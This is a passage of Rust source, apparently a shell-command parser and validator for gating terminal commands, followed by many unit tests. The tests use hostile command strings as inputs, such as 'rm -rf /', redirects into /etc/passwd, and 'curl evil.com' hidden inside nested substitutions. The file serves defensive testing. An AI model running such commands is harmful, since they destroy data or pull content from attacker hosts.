977fn extract_commands_from_compound_command(
978 compound_command: &ast::CompoundCommand,
979 commands: &mut Vec<String>,
980) -> Option<usize> {
981 match compound_command {
982 ast::CompoundCommand::BraceGroup(brace_group) => {
983 let body_start = commands.len();
984 extract_commands_from_compound_list(&brace_group.list, commands)?;
985 Some(body_start)
986 }
987 ast::CompoundCommand::Subshell(subshell) => {
988 let body_start = commands.len();
989 extract_commands_from_compound_list(&subshell.list, commands)?;
990 Some(body_start)
991 }
992 ast::CompoundCommand::ForClause(for_clause) => {
993 if let Some(words) = &for_clause.values {
994 for word in words {
995 extract_commands_from_word(word, commands)?;
996 }
997 }
998 let body_start = commands.len();
999 extract_commands_from_do_group(&for_clause.body, commands)?;
1000 Some(body_start)
1001 }
1002 ast::CompoundCommand::CaseClause(case_clause) => {
1003 extract_commands_from_word(&case_clause.value, commands)?;
1004 let body_start = commands.len();
1005 for item in &case_clause.cases {
1006 if let Some(body) = &item.cmd {
1007 extract_commands_from_compound_list(body, commands)?;
1008 }
1009 }
1010 Some(body_start)
1011 }
1012 ast::CompoundCommand::IfClause(if_clause) => {
1013 extract_commands_from_compound_list(&if_clause.condition, commands)?;
1014 let body_start = commands.len();
1015 extract_commands_from_compound_list(&if_clause.then, commands)?;
1016 if let Some(elses) = &if_clause.elses {
1017 for else_item in elses {
1018 if let Some(condition) = &else_item.condition {
1019 extract_commands_from_compound_list(condition, commands)?;
1020 }
1021 extract_commands_from_compound_list(&else_item.body, commands)?;
1022 }
1023 }
1024 Some(body_start)
1025 }
1026 ast::CompoundCommand::WhileClause(while_clause)
1027 | ast::CompoundCommand::UntilClause(while_clause) => {
1028 extract_commands_from_compound_list(&while_clause.0, commands)?;
1029 let body_start = commands.len();
1030 extract_commands_from_do_group(&while_clause.1, commands)?;
1031 Some(body_start)
1032 }
1033 ast::CompoundCommand::ArithmeticForClause(arith_for) => {
1034 let body_start = commands.len();
1035 extract_commands_from_do_group(&arith_for.body, commands)?;
1036 Some(body_start)
1037 }
1038 ast::CompoundCommand::Arithmetic(_arith_cmd) => Some(commands.len()),
1039 }
1040}
1041
1042fn extract_commands_from_do_group(
1043 do_group: &ast::DoGroupCommand,
1044 commands: &mut Vec<String>,
1045) -> Option<()> {
1046 extract_commands_from_compound_list(&do_group.list, commands)
1047}
1048
1049fn extract_commands_from_function_body(
1050 func_body: &ast::FunctionBody,
1051 commands: &mut Vec<String>,
1052) -> Option<()> {
1053 let body_start = extract_commands_from_compound_command(&func_body.0, commands)?;
1054 if let Some(redirect_list) = &func_body.1 {
1055 let mut normalized_redirects = Vec::new();
1056 for redirect in &redirect_list.0 {
1057 match normalize_io_redirect(redirect)? {
1058 RedirectNormalization::Normalized(s) => normalized_redirects.push(s),
1059 RedirectNormalization::Skip => {}
1060 }
1061 }
1062 if !normalized_redirects.is_empty() {
1063 if body_start >= commands.len() {
1064 return None;
1065 }
1066 commands.extend(normalized_redirects);
1067 }
1068 for redirect in &redirect_list.0 {
1069 extract_commands_from_io_redirect(redirect, commands)?;
1070 }
1071 }
1072 Some(())
1073}
1074
1075fn extract_commands_from_extended_test_expr(
1076 test_expr: &ast::ExtendedTestExprCommand,
1077 commands: &mut Vec<String>,
1078) -> Option<()> {
1079 extract_commands_from_extended_test_expr_inner(&test_expr.expr, commands)
1080}
1081
1082fn extract_commands_from_extended_test_expr_inner(
1083 expr: &ast::ExtendedTestExpr,
1084 commands: &mut Vec<String>,
1085) -> Option<()> {
1086 match expr {
1087 ast::ExtendedTestExpr::Not(inner) => {
1088 extract_commands_from_extended_test_expr_inner(inner, commands)?;
1089 }
1090 ast::ExtendedTestExpr::And(left, right) | ast::ExtendedTestExpr::Or(left, right) => {
1091 extract_commands_from_extended_test_expr_inner(left, commands)?;
1092 extract_commands_from_extended_test_expr_inner(right, commands)?;
1093 }
1094 ast::ExtendedTestExpr::Parenthesized(inner) => {
1095 extract_commands_from_extended_test_expr_inner(inner, commands)?;
1096 }
1097 ast::ExtendedTestExpr::UnaryTest(_, word) => {
1098 extract_commands_from_word(word, commands)?;
1099 }
1100 ast::ExtendedTestExpr::BinaryTest(_, word1, word2) => {
1101 extract_commands_from_word(word1, commands)?;
1102 extract_commands_from_word(word2, commands)?;
1103 }
1104 }
1105 Some(())
1106}
1107
1108#[cfg(test)]
1109mod tests {
1110 use super::*;
1111
1112 #[test]
1113 fn test_simple_command() {
1114 let commands = extract_commands("ls").expect("parse failed");
1115 assert_eq!(commands, vec!["ls"]);
1116 }
1117
1118 #[test]
1119 fn test_command_with_args() {
1120 let commands = extract_commands("ls -la /tmp").expect("parse failed");
1121 assert_eq!(commands, vec!["ls -la /tmp"]);
1122 }
1123
1124 #[test]
1125 fn test_single_quoted_argument_is_normalized() {
1126 let commands = extract_commands("rm -rf '/'").expect("parse failed");
1127 assert_eq!(commands, vec!["rm -rf /"]);
1128 }
1129
1130 #[test]
1131 fn test_single_quoted_command_name_is_normalized() {
1132 let commands = extract_commands("'rm' -rf /").expect("parse failed");
1133 assert_eq!(commands, vec!["rm -rf /"]);
1134 }
1135
1136 #[test]
1137 fn test_double_quoted_argument_is_normalized() {
1138 let commands = extract_commands("rm -rf \"/\"").expect("parse failed");
1139 assert_eq!(commands, vec!["rm -rf /"]);
1140 }
1141
1142 #[test]
1143 fn test_double_quoted_command_name_is_normalized() {
1144 let commands = extract_commands("\"rm\" -rf /").expect("parse failed");
1145 assert_eq!(commands, vec!["rm -rf /"]);
1146 }
1147
1148 #[test]
1149 fn test_escaped_argument_is_normalized() {
1150 let commands = extract_commands("rm -rf \\/").expect("parse failed");
1151 assert_eq!(commands, vec!["rm -rf /"]);
1152 }
1153
1154 #[test]
1155 fn test_partial_quoting_command_name_is_normalized() {
1156 let commands = extract_commands("r'm' -rf /").expect("parse failed");
1157 assert_eq!(commands, vec!["rm -rf /"]);
1158 }
1159
1160 #[test]
1161 fn test_partial_quoting_flag_is_normalized() {
1162 let commands = extract_commands("rm -r'f' /").expect("parse failed");
1163 assert_eq!(commands, vec!["rm -rf /"]);
1164 }
1165
1166 #[test]
1167 fn test_quoted_bypass_in_chained_command() {
1168 let commands = extract_commands("ls && 'rm' -rf '/'").expect("parse failed");
1169 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1170 }
1171
1172 #[test]
1173 fn test_tilde_preserved_after_normalization() {
1174 let commands = extract_commands("rm -rf ~").expect("parse failed");
1175 assert_eq!(commands, vec!["rm -rf ~"]);
1176 }
1177
1178 #[test]
1179 fn test_quoted_tilde_normalized() {
1180 let commands = extract_commands("rm -rf '~'").expect("parse failed");
1181 assert_eq!(commands, vec!["rm -rf ~"]);
1182 }
1183
1184 #[test]
1185 fn test_parameter_expansion_preserved() {
1186 let commands = extract_commands("rm -rf $HOME").expect("parse failed");
1187 assert_eq!(commands, vec!["rm -rf $HOME"]);
1188 }
1189
1190 #[test]
1191 fn test_braced_parameter_expansion_preserved() {
1192 let commands = extract_commands("rm -rf ${HOME}").expect("parse failed");
1193 assert_eq!(commands, vec!["rm -rf ${HOME}"]);
1194 }
1195
1196 #[test]
1197 fn test_and_operator() {
1198 let commands = extract_commands("ls && rm -rf /").expect("parse failed");
1199 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1200 }
1201
1202 #[test]
1203 fn test_or_operator() {
1204 let commands = extract_commands("ls || rm -rf /").expect("parse failed");
1205 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1206 }
1207
1208 #[test]
1209 fn test_semicolon() {
1210 let commands = extract_commands("ls; rm -rf /").expect("parse failed");
1211 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1212 }
1213
1214 #[test]
1215 fn test_pipe() {
1216 let commands = extract_commands("ls | xargs rm -rf").expect("parse failed");
1217 assert_eq!(commands, vec!["ls", "xargs rm -rf"]);
1218 }
1219
1220 #[test]
1221 fn test_background() {
1222 let commands = extract_commands("ls & rm -rf /").expect("parse failed");
1223 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1224 }
1225
1226 #[test]
1227 fn test_command_substitution_dollar() {
1228 let commands = extract_commands("echo $(whoami)").expect("parse failed");
1229 assert!(commands.iter().any(|c| c.contains("echo")));
1230 assert!(commands.contains(&"whoami".to_string()));
1231 }
1232
1233 #[test]
1234 fn test_command_substitution_backticks() {
1235 let commands = extract_commands("echo `whoami`").expect("parse failed");
1236 assert!(commands.iter().any(|c| c.contains("echo")));
1237 assert!(commands.contains(&"whoami".to_string()));
1238 }
1239
1240 #[test]
1241 fn test_process_substitution_input() {
1242 let commands = extract_commands("cat <(ls)").expect("parse failed");
1243 assert!(commands.iter().any(|c| c.contains("cat")));
1244 assert!(commands.contains(&"ls".to_string()));
1245 }
1246
1247 #[test]
1248 fn test_process_substitution_output() {
1249 let commands = extract_commands("ls >(cat)").expect("parse failed");
1250 assert!(commands.iter().any(|c| c.contains("ls")));
1251 assert!(commands.contains(&"cat".to_string()));
1252 }
1253
1254 #[test]
1255 fn test_newline_separator() {
1256 let commands = extract_commands("ls\nrm -rf /").expect("parse failed");
1257 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1258 }
1259
1260 #[test]
1261 fn test_subshell() {
1262 let commands = extract_commands("(ls && rm -rf /)").expect("parse failed");
1263 assert_eq!(commands, vec!["ls", "rm -rf /"]);
1264 }
1265
1266 #[test]
1267 fn test_mixed_operators() {
1268 let commands = extract_commands("ls; echo hello && rm -rf /").expect("parse failed");
1269 assert_eq!(commands, vec!["ls", "echo hello", "rm -rf /"]);
1270 }
1271
1272 #[test]
1273 fn test_no_spaces_around_operators() {
1274 let commands = extract_commands("ls&&rm").expect("parse failed");
1275 assert_eq!(commands, vec!["ls", "rm"]);
1276 }
1277
1278 #[test]
1279 fn test_nested_command_substitution() {
1280 let commands = extract_commands("echo $(cat $(whoami).txt)").expect("parse failed");
1281 assert!(commands.iter().any(|c| c.contains("echo")));
1282 assert!(commands.iter().any(|c| c.contains("cat")));
1283 assert!(commands.contains(&"whoami".to_string()));
1284 }
1285
1286 #[test]
1287 fn test_empty_command() {
1288 let commands = extract_commands("").expect("parse failed");
1289 assert!(commands.is_empty());
1290 }
1291
1292 #[test]
1293 fn test_invalid_syntax_returns_none() {
1294 let result = extract_commands("ls &&");
1295 assert!(result.is_none());
1296 }
1297
1298 #[test]
1299 fn test_unparsable_nested_substitution_returns_none() {
1300 let result = extract_commands("echo $(ls &&)");
1301 assert!(result.is_none());
1302 }
1303
1304 #[test]
1305 fn test_unparsable_nested_backtick_substitution_returns_none() {
1306 let result = extract_commands("echo `ls &&`");
1307 assert!(result.is_none());
1308 }
1309
1310 #[test]
1311 fn test_redirect_write_includes_target_path() {
1312 let commands = extract_commands("echo hello > /etc/passwd").expect("parse failed");
1313 assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1314 }
1315
1316 #[test]
1317 fn test_redirect_append_includes_target_path() {
1318 let commands = extract_commands("cat file >> /tmp/log").expect("parse failed");
1319 assert_eq!(commands, vec!["cat file", ">> /tmp/log"]);
1320 }
1321
1322 #[test]
1323 fn test_fd_redirect_handled_gracefully() {
1324 let commands = extract_commands("cmd 2>&1").expect("parse failed");
1325 assert_eq!(commands, vec!["cmd"]);
1326 }
1327
1328 #[test]
1329 fn test_input_redirect() {
1330 let commands = extract_commands("sort < /tmp/input").expect("parse failed");
1331 assert_eq!(commands, vec!["sort", "< /tmp/input"]);
1332 }
1333
1334 #[test]
1335 fn test_multiple_redirects() {
1336 let commands = extract_commands("cmd > /tmp/out 2> /tmp/err").expect("parse failed");
1337 assert_eq!(commands, vec!["cmd", "> /tmp/out", "2> /tmp/err"]);
1338 }
1339
1340 #[test]
1341 fn test_prefix_position_redirect() {
1342 let commands = extract_commands("> /tmp/out echo hello").expect("parse failed");
1343 assert_eq!(commands, vec!["echo hello", "> /tmp/out"]);
1344 }
1345
1346 #[test]
1347 fn test_redirect_with_variable_expansion() {
1348 let commands = extract_commands("echo > $HOME/file").expect("parse failed");
1349 assert_eq!(commands, vec!["echo", "> $HOME/file"]);
1350 }
1351
1352 #[test]
1353 fn test_output_and_error_redirect() {
1354 let commands = extract_commands("cmd &> /tmp/all").expect("parse failed");
1355 assert_eq!(commands, vec!["cmd", "&> /tmp/all"]);
1356 }
1357
1358 #[test]
1359 fn test_append_output_and_error_redirect() {
1360 let commands = extract_commands("cmd &>> /tmp/all").expect("parse failed");
1361 assert_eq!(commands, vec!["cmd", "&>> /tmp/all"]);
1362 }
1363
1364 #[test]
1365 fn test_redirect_in_chained_command() {
1366 let commands =
1367 extract_commands("echo hello > /tmp/out && cat /tmp/out").expect("parse failed");
1368 assert_eq!(commands, vec!["echo hello", "> /tmp/out", "cat /tmp/out"]);
1369 }
1370
1371 #[test]
1372 fn test_here_string_dropped_from_normalized_output() {
1373 let commands = extract_commands("cat <<< 'hello'").expect("parse failed");
1374 assert_eq!(commands, vec!["cat"]);
1375 }
1376
1377 #[test]
1378 fn test_brace_group_redirect() {
1379 let commands = extract_commands("{ echo hello; } > /etc/passwd").expect("parse failed");
1380 assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1381 }
1382
1383 #[test]
1384 fn test_subshell_redirect() {
1385 let commands = extract_commands("(cmd) > /etc/passwd").expect("parse failed");
1386 assert_eq!(commands, vec!["cmd", "> /etc/passwd"]);
1387 }
1388
1389 #[test]
1390 fn test_for_loop_redirect() {
1391 let commands =
1392 extract_commands("for f in *; do cat \"$f\"; done > /tmp/out").expect("parse failed");
1393 assert_eq!(commands, vec!["cat $f", "> /tmp/out"]);
1394 }
1395
1396 #[test]
1397 fn test_brace_group_multi_command_redirect() {
1398 let commands =
1399 extract_commands("{ echo hello; cat; } > /etc/passwd").expect("parse failed");
1400 assert_eq!(commands, vec!["echo hello", "cat", "> /etc/passwd"]);
1401 }
1402
1403 #[test]
1404 fn test_quoted_redirect_target_is_normalized() {
1405 let commands = extract_commands("echo hello > '/etc/passwd'").expect("parse failed");
1406 assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1407 }
1408
1409 #[test]
1410 fn test_redirect_without_space() {
1411 let commands = extract_commands("echo hello >/etc/passwd").expect("parse failed");
1412 assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1413 }
1414
1415 #[test]
1416 fn test_clobber_redirect() {
1417 let commands = extract_commands("cmd >| /tmp/file").expect("parse failed");
1418 assert_eq!(commands, vec!["cmd", ">| /tmp/file"]);
1419 }
1420
1421 #[test]
1422 fn test_fd_to_fd_redirect_skipped() {
1423 let commands = extract_commands("cmd 1>&2").expect("parse failed");
1424 assert_eq!(commands, vec!["cmd"]);
1425 }
1426
1427 #[test]
1428 fn test_bare_redirect_returns_none() {
1429 let result = extract_commands("> /etc/passwd");
1430 assert!(result.is_none());
1431 }
1432
1433 #[test]
1434 fn test_arithmetic_with_redirect_returns_none() {
1435 let result = extract_commands("(( x = 1 )) > /tmp/file");
1436 assert!(result.is_none());
1437 }
1438
1439 #[test]
1440 fn test_redirect_target_with_command_substitution() {
1441 let commands = extract_commands("echo > $(mktemp)").expect("parse failed");
1442 assert_eq!(commands, vec!["echo", "> $(mktemp)", "mktemp"]);
1443 }
1444
1445 #[test]
1446 fn test_nested_compound_redirects() {
1447 let commands = extract_commands("{ echo > /tmp/a; } > /tmp/b").expect("parse failed");
1448 assert_eq!(commands, vec!["echo", "> /tmp/a", "> /tmp/b"]);
1449 }
1450
1451 #[test]
1452 fn test_while_loop_redirect() {
1453 let commands =
1454 extract_commands("while true; do echo line; done > /tmp/log").expect("parse failed");
1455 assert_eq!(commands, vec!["true", "echo line", "> /tmp/log"]);
1456 }
1457
1458 #[test]
1459 fn test_if_clause_redirect() {
1460 let commands =
1461 extract_commands("if true; then echo yes; fi > /tmp/out").expect("parse failed");
1462 assert_eq!(commands, vec!["true", "echo yes", "> /tmp/out"]);
1463 }
1464
1465 #[test]
1466 fn test_pipe_with_redirect_on_last_command() {
1467 let commands = extract_commands("ls | grep foo > /tmp/out").expect("parse failed");
1468 assert_eq!(commands, vec!["ls", "grep foo", "> /tmp/out"]);
1469 }
1470
1471 #[test]
1472 fn test_pipe_with_stderr_redirect_on_first_command() {
1473 let commands = extract_commands("ls 2>/dev/null | grep foo").expect("parse failed");
1474 assert_eq!(commands, vec!["ls", "grep foo"]);
1475 }
1476
1477 #[test]
1478 fn test_function_definition_redirect() {
1479 let commands = extract_commands("f() { echo hi; } > /tmp/out").expect("parse failed");
1480 assert_eq!(commands, vec!["echo hi", "> /tmp/out"]);
1481 }
1482
1483 #[test]
1484 fn test_read_and_write_redirect() {
1485 let commands = extract_commands("cmd <> /dev/tty").expect("parse failed");
1486 assert_eq!(commands, vec!["cmd", "<> /dev/tty"]);
1487 }
1488
1489 #[test]
1490 fn test_case_clause_with_redirect() {
1491 let commands =
1492 extract_commands("case $x in a) echo hi;; esac > /tmp/out").expect("parse failed");
1493 assert_eq!(commands, vec!["echo hi", "> /tmp/out"]);
1494 }
1495
1496 #[test]
1497 fn test_until_loop_with_redirect() {
1498 let commands =
1499 extract_commands("until false; do echo line; done > /tmp/log").expect("parse failed");
1500 assert_eq!(commands, vec!["false", "echo line", "> /tmp/log"]);
1501 }
1502
1503 #[test]
1504 fn test_arithmetic_for_clause_with_redirect() {
1505 let commands = extract_commands("for ((i=0; i<10; i++)); do echo $i; done > /tmp/out")
1506 .expect("parse failed");
1507 assert_eq!(commands, vec!["echo $i", "> /tmp/out"]);
1508 }
1509
1510 #[test]
1511 fn test_if_elif_else_with_redirect() {
1512 let commands = extract_commands(
1513 "if true; then echo a; elif false; then echo b; else echo c; fi > /tmp/out",
1514 )
1515 .expect("parse failed");
1516 assert_eq!(
1517 commands,
1518 vec!["true", "echo a", "false", "echo b", "echo c", "> /tmp/out"]
1519 );
1520 }
1521
1522 #[test]
1523 fn test_multiple_redirects_on_compound_command() {
1524 let commands = extract_commands("{ cmd; } > /tmp/out 2> /tmp/err").expect("parse failed");
1525 assert_eq!(commands, vec!["cmd", "> /tmp/out", "2> /tmp/err"]);
1526 }
1527
1528 #[test]
1529 fn test_here_document_command_substitution_extracted() {
1530 let commands = extract_commands("cat <<EOF\n$(rm -rf /)\nEOF").expect("parse failed");
1531 assert!(commands.iter().any(|c| c.contains("cat")));
1532 assert!(commands.contains(&"rm -rf /".to_string()));
1533 }
1534
1535 #[test]
1536 fn test_here_document_quoted_delimiter_no_extraction() {
1537 let commands = extract_commands("cat <<'EOF'\n$(rm -rf /)\nEOF").expect("parse failed");
1538 assert_eq!(commands, vec!["cat"]);
1539 }
1540
1541 #[test]
1542 fn test_here_document_backtick_substitution_extracted() {
1543 let commands = extract_commands("cat <<EOF\n`whoami`\nEOF").expect("parse failed");
1544 assert!(commands.iter().any(|c| c.contains("cat")));
1545 assert!(commands.contains(&"whoami".to_string()));
1546 }
1547
1548 #[test]
1549 fn test_brace_group_redirect_with_command_substitution() {
1550 let commands = extract_commands("{ echo hello; } > $(mktemp)").expect("parse failed");
1551 assert!(commands.contains(&"echo hello".to_string()));
1552 assert!(commands.contains(&"mktemp".to_string()));
1553 }
1554
1555 #[test]
1556 fn test_function_definition_redirect_with_command_substitution() {
1557 let commands = extract_commands("f() { echo hi; } > $(mktemp)").expect("parse failed");
1558 assert!(commands.contains(&"echo hi".to_string()));
1559 assert!(commands.contains(&"mktemp".to_string()));
1560 }
1561
1562 #[test]
1563 fn test_brace_group_redirect_with_process_substitution() {
1564 let commands = extract_commands("{ cat; } > >(tee /tmp/log)").expect("parse failed");
1565 assert!(commands.contains(&"cat".to_string()));
1566 assert!(commands.contains(&"tee /tmp/log".to_string()));
1567 }
1568
1569 #[test]
1570 fn test_redirect_to_dev_null_skipped() {
1571 let commands = extract_commands("cmd > /dev/null").expect("parse failed");
1572 assert_eq!(commands, vec!["cmd"]);
1573 }
1574
1575 #[test]
1576 fn test_stderr_redirect_to_dev_null_skipped() {
1577 let commands = extract_commands("cmd 2>/dev/null").expect("parse failed");
1578 assert_eq!(commands, vec!["cmd"]);
1579 }
1580
1581 #[test]
1582 fn test_stderr_redirect_to_dev_null_with_space_skipped() {
1583 let commands = extract_commands("cmd 2> /dev/null").expect("parse failed");
1584 assert_eq!(commands, vec!["cmd"]);
1585 }
1586
1587 #[test]
1588 fn test_append_redirect_to_dev_null_skipped() {
1589 let commands = extract_commands("cmd >> /dev/null").expect("parse failed");
1590 assert_eq!(commands, vec!["cmd"]);
1591 }
1592
1593 #[test]
1594 fn test_output_and_error_redirect_to_dev_null_skipped() {
1595 let commands = extract_commands("cmd &>/dev/null").expect("parse failed");
1596 assert_eq!(commands, vec!["cmd"]);
1597 }
1598
1599 #[test]
1600 fn test_append_output_and_error_redirect_to_dev_null_skipped() {
1601 let commands = extract_commands("cmd &>>/dev/null").expect("parse failed");
1602 assert_eq!(commands, vec!["cmd"]);
1603 }
1604
1605 #[test]
1606 fn test_quoted_dev_null_redirect_skipped() {
1607 let commands = extract_commands("cmd 2>'/dev/null'").expect("parse failed");
1608 assert_eq!(commands, vec!["cmd"]);
1609 }
1610
1611 #[test]
1612 fn test_redirect_to_real_file_still_included() {
1613 let commands = extract_commands("echo hello > /etc/passwd").expect("parse failed");
1614 assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1615 }
1616
1617 #[test]
1618 fn test_dev_null_redirect_in_chained_command() {
1619 let commands =
1620 extract_commands("git log 2>/dev/null || echo fallback").expect("parse failed");
1621 assert_eq!(commands, vec!["git log", "echo fallback"]);
1622 }
1623
1624 #[test]
1625 fn test_mixed_safe_and_unsafe_redirects() {
1626 let commands = extract_commands("cmd > /tmp/out 2>/dev/null").expect("parse failed");
1627 assert_eq!(commands, vec!["cmd", "> /tmp/out"]);
1628 }
1629
1630 #[test]
1631 fn test_scalar_env_var_prefix_included_in_extracted_command() {
1632 let commands = extract_commands("PAGER=blah git status").expect("parse failed");
1633 assert_eq!(commands, vec!["PAGER=blah git status"]);
1634 }
1635
1636 #[test]
1637 fn test_multiple_scalar_assignments_preserved_in_order() {
1638 let commands = extract_commands("A=1 B=2 git log").expect("parse failed");
1639 assert_eq!(commands, vec!["A=1 B=2 git log"]);
1640 }
1641
1642 #[test]
1643 fn test_assignment_quoting_dropped_when_safe() {
1644 let commands = extract_commands("PAGER='curl' git log").expect("parse failed");
1645 assert_eq!(commands, vec!["PAGER=curl git log"]);
1646 }
1647
1648 #[test]
1649 fn test_assignment_quoting_preserved_for_whitespace() {
1650 let commands = extract_commands("PAGER='less -R' git log").expect("parse failed");
1651 assert_eq!(commands, vec!["PAGER='less -R' git log"]);
1652 }
1653
1654 #[test]
1655 fn test_assignment_quoting_preserved_for_semicolon() {
1656 let commands = extract_commands("PAGER='a;b' git log").expect("parse failed");
1657 assert_eq!(commands, vec!["PAGER='a;b' git log"]);
1658 }
1659
1660 #[test]
1661 fn test_array_assignments_ignored_for_prefix_matching_output() {
1662 let commands = extract_commands("FOO=(a b) git status").expect("parse failed");
1663 assert_eq!(commands, vec!["git status"]);
1664 }
1665
1666 #[test]
1667 fn test_extract_terminal_command_prefix_includes_env_var_prefix_and_subcommand() {
1668 let prefix = extract_terminal_command_prefix("PAGER=blah git log --oneline")
1669 .expect("expected terminal command prefix");
1670
1671 assert_eq!(
1672 prefix,
1673 TerminalCommandPrefix {
1674 normalized: "PAGER=blah git log".to_string(),
1675 display: "PAGER=blah git log".to_string(),
1676 tokens: vec![
1677 "PAGER=blah".to_string(),
1678 "git".to_string(),
1679 "log".to_string(),
1680 ],
1681 command: "git".to_string(),
1682 subcommand: Some("log".to_string()),
1683 }
1684 );
1685 }
1686
1687 #[test]
1688 fn test_extract_terminal_command_prefix_preserves_required_assignment_quotes_in_display_and_normalized()
1689 {
1690 let prefix = extract_terminal_command_prefix("PAGER='less -R' git log")
1691 .expect("expected terminal command prefix");
1692
1693 assert_eq!(
1694 prefix,
1695 TerminalCommandPrefix {
1696 normalized: "PAGER='less -R' git log".to_string(),
1697 display: "PAGER='less -R' git log".to_string(),
1698 tokens: vec![
1699 "PAGER='less -R'".to_string(),
1700 "git".to_string(),
1701 "log".to_string(),
1702 ],
1703 command: "git".to_string(),
1704 subcommand: Some("log".to_string()),
1705 }
1706 );
1707 }
1708
1709 #[test]
1710 fn test_extract_terminal_command_prefix_skips_redirects_before_subcommand() {
1711 let prefix = extract_terminal_command_prefix("git 2>/dev/null log --oneline")
1712 .expect("expected terminal command prefix");
1713
1714 assert_eq!(
1715 prefix,
1716 TerminalCommandPrefix {
1717 normalized: "git log".to_string(),
1718 display: "git 2>/dev/null log".to_string(),
1719 tokens: vec!["git".to_string(), "log".to_string()],
1720 command: "git".to_string(),
1721 subcommand: Some("log".to_string()),
1722 }
1723 );
1724 }
1725
1726 #[test]
1727 fn test_validate_terminal_command_rejects_parameter_expansion() {
1728 assert_eq!(
1729 validate_terminal_command("echo $HOME"),
1730 TerminalCommandValidation::Unsafe
1731 );
1732 }
1733
1734 #[test]
1735 fn test_validate_terminal_command_rejects_braced_parameter_expansion() {
1736 assert_eq!(
1737 validate_terminal_command("echo ${HOME}"),
1738 TerminalCommandValidation::Unsafe
1739 );
1740 }
1741
1742 #[test]
1743 fn test_validate_terminal_command_rejects_special_parameters() {
1744 assert_eq!(
1745 validate_terminal_command("echo $?"),
1746 TerminalCommandValidation::Unsafe
1747 );
1748 assert_eq!(
1749 validate_terminal_command("echo $$"),
1750 TerminalCommandValidation::Unsafe
1751 );
1752 assert_eq!(
1753 validate_terminal_command("echo $@"),
1754 TerminalCommandValidation::Unsafe
1755 );
1756 }
1757
1758 #[test]
1759 fn test_validate_terminal_command_rejects_command_substitution() {
1760 assert_eq!(
1761 validate_terminal_command("echo $(whoami)"),
1762 TerminalCommandValidation::Unsafe
1763 );
1764 }
1765
1766 #[test]
1767 fn test_validate_terminal_command_rejects_backticks() {
1768 assert_eq!(
1769 validate_terminal_command("echo `whoami`"),
1770 TerminalCommandValidation::Unsafe
1771 );
1772 }
1773
1774 #[test]
1775 fn test_validate_terminal_command_rejects_arithmetic_expansion() {
1776 assert_eq!(
1777 validate_terminal_command("echo $((1 + 1))"),
1778 TerminalCommandValidation::Unsafe
1779 );
1780 }
1781
1782 #[test]
1783 fn test_validate_terminal_command_rejects_process_substitution() {
1784 assert_eq!(
1785 validate_terminal_command("cat <(ls)"),
1786 TerminalCommandValidation::Unsafe
1787 );
1788 assert_eq!(
1789 validate_terminal_command("ls >(cat)"),
1790 TerminalCommandValidation::Unsafe
1791 );
1792 }
1793
1794 #[test]
1795 fn test_validate_terminal_command_rejects_forbidden_constructs_in_env_var_assignments() {
1796 assert_eq!(
1797 validate_terminal_command("PAGER=$HOME git log"),
1798 TerminalCommandValidation::Unsafe
1799 );
1800 assert_eq!(
1801 validate_terminal_command("PAGER=$(whoami) git log"),
1802 TerminalCommandValidation::Unsafe
1803 );
1804 }
1805
1806 #[test]
1807 fn test_validate_terminal_command_returns_unsupported_for_parse_failure() {
1808 assert_eq!(
1809 validate_terminal_command("echo $(ls &&)"),
1810 TerminalCommandValidation::Unsupported
1811 );
1812 }
1813
1814 #[test]
1815 fn test_validate_terminal_command_rejects_substitution_in_case_pattern() {
1816 assert_ne!(
1817 validate_terminal_command("case x in $(echo y)) echo z;; esac"),
1818 TerminalCommandValidation::Safe
1819 );
1820 }
1821
1822 #[test]
1823 fn test_validate_terminal_command_safe_case_clause_without_substitutions() {
1824 assert_eq!(
1825 validate_terminal_command("case x in foo) echo hello;; esac"),
1826 TerminalCommandValidation::Safe
1827 );
1828 }
1829
1830 #[test]
1831 fn test_validate_terminal_command_rejects_substitution_in_arithmetic_for_clause() {
1832 assert_ne!(
1833 validate_terminal_command("for ((i=$(echo 0); i<3; i++)); do echo hello; done"),
1834 TerminalCommandValidation::Safe
1835 );
1836 }
1837
1838 #[test]
1839 fn test_validate_terminal_command_rejects_arithmetic_for_clause_unconditionally() {
1840 assert_eq!(
1841 validate_terminal_command("for ((i=0; i<3; i++)); do echo hello; done"),
1842 TerminalCommandValidation::Unsafe
1843 );
1844 }
1845
1846 #[test]
1847 fn test_arithmetic_expansion_nested_command_substitution() {
1848 let commands = extract_commands("echo $(($(curl evil.com)))").expect("parse failed");
1849 assert!(commands.iter().any(|c| c.contains("echo")));
1850 assert!(commands.iter().any(|c| c.contains("curl")));
1851 }
1852
1853 #[test]
1854 fn test_arithmetic_expansion_nested_backtick_substitution() {
1855 let commands = extract_commands("echo $((`whoami`))").expect("parse failed");
1856 assert!(commands.iter().any(|c| c.contains("echo")));
1857 assert!(commands.contains(&"whoami".to_string()));
1858 }
1859
1860 #[test]
1861 fn test_arithmetic_expansion_without_substitution() {
1862 let commands = extract_commands("echo $((1+2))").expect("parse failed");
1863 assert_eq!(commands, vec!["echo $((1+2))"]);
1864 }
1865
1866 #[test]
1867 fn test_arithmetic_expansion_doubly_nested_command_substitution() {
1868 let commands = extract_commands("echo $(($(($(curl evil.com)))))").expect("parse failed");
1869 assert!(commands.iter().any(|c| c.contains("echo")));
1870 assert!(commands.iter().any(|c| c.contains("curl")));
1871 }
1872
1873 #[test]
1874 fn test_arithmetic_expansion_inside_double_quotes() {
1875 let commands = extract_commands("echo \"$(($(curl evil.com)))\"").expect("parse failed");
1876 assert!(commands.iter().any(|c| c.contains("echo")));
1877 assert!(commands.iter().any(|c| c.contains("curl")));
1878 }
1879
1880 #[test]
1881 fn test_parameter_expansion_default_value_extracts_command_substitution() {
1882 let commands = extract_commands("echo ${V:-$(curl evil.com)}").expect("parse failed");
1883 assert!(commands.iter().any(|c| c.contains("echo")));
1884 assert!(commands.iter().any(|c| c.contains("curl")));
1885 }
1886
1887 #[test]
1888 fn test_parameter_expansion_assign_default_extracts_command_substitution() {
1889 let commands = extract_commands("echo ${V:=$(curl evil.com)}").expect("parse failed");
